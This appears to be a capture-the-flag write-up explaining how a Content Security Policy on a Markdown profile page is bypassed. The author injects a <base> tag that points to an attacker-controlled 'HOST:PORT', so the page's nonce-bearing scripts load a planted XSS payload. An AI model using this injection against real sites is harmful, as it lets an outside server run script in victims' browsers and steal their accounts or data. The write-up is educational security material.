People
Base element CSP bypass
Last updated
Base element CSP bypass
Last updated
With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more...
This was a client-side web challenge where we had to cause an XSS in a user's profile to obtain the flag through the admin account.
Let's take a look at our potential injection points. One of the suspicious features of the profile page was that we were able to edit our bio in Markdown.
This is then parsed using marked
and DOMPurify
.
We could find out the version numbers of these libraries through the marked.min.js
and purify.min.js
files. Doing a search on these versions yielded no security vulnerabilities.
While mutation XSS attacks might still be possible on these libraries, those attacks would likely only happen when DOMPurify
is used before marked
, because marked
deliberately does not sanitize output HTML. It was also unlikely that this involved a zero-day in DOMPurify
, so let's look around a little more.
In Jinja2, the |safe
filter renders unescaped HTML. Doing a grep search for the safe
filter finds this interesting part of the profile.html
template.
Nice, we have our HTML injection vector! Trying to insert a <script>
payload wouldn't work though, since the Content Security Policy doesn't allow us to load arbitrary scripts without a randomly-generatednonce
.
When this happens, we can rely on the <base>
HTML tag to set the base URL to use for all relative URLs in a document.
This means that we could load the /static/js/marked.min.js
files from a completely different URL that we control. Since these script tags are part of the original template and the nonce
is always appropriately set, the browser would have no issues executing the script from our URL.
We start a HTTP server and create the /static/js
directory structure, and place our XSS payload in marked.min.js
.
Then we could inject <base href="http://HOST:PORT">
into our profile through user['title']
or user['lab']
.